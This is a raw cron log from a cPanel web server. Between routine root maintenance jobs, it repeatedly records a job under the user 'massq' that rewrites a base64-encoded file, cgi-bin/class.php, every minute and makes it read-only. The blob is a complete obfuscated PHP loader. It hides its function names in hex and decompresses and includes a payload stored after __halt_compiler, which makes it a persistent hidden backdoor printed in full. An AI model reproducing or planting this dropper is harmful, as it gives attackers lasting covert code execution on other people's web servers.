Aug 31 05:14:01 server CROND[20713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:14:01 server CROND[20714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:14:01 server CROND[20715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:15:01 server CROND[21151]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:15:01 server CROND[21153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:15:01 server CROND[21154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:15:01 server CROND[21160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:15:01 server CROND[21159]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:15:01 server CROND[21162]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 05:15:01 server CROND[21161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:15:01 server CROND[21163]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:16:01 server CROND[22012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:16:01 server CROND[22013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:16:01 server CROND[22014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:17:01 server CROND[22532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:17:01 server CROND[22533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:17:01 server CROND[22531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:18:01 server CROND[23098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:18:01 server CROND[23099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:18:01 server CROND[23100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:19:01 server CROND[23487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:19:01 server CROND[23488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:19:01 server CROND[23486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:20:01 server CROND[23877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:20:01 server CROND[23879]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:20:01 server CROND[23880]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 05:20:01 server CROND[23888]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:20:01 server CROND[23895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:20:01 server CROND[23898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:20:01 server CROND[23901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:20:01 server CROND[23897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:20:01 server CROND[23896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:21:01 server CROND[24715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:21:01 server CROND[24716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:21:01 server CROND[24717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:22:01 server CROND[25196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:22:01 server CROND[25197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:22:01 server CROND[25198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:23:01 server CROND[25639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:23:01 server CROND[25640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:23:01 server CROND[25641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:24:01 server CROND[26022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:24:01 server CROND[26023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:24:01 server CROND[26024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:25:01 server CROND[26429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:25:01 server CROND[26430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:25:01 server CROND[26432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:25:01 server CROND[26431]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:25:01 server CROND[26435]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:25:01 server CROND[26436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:25:01 server CROND[26438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
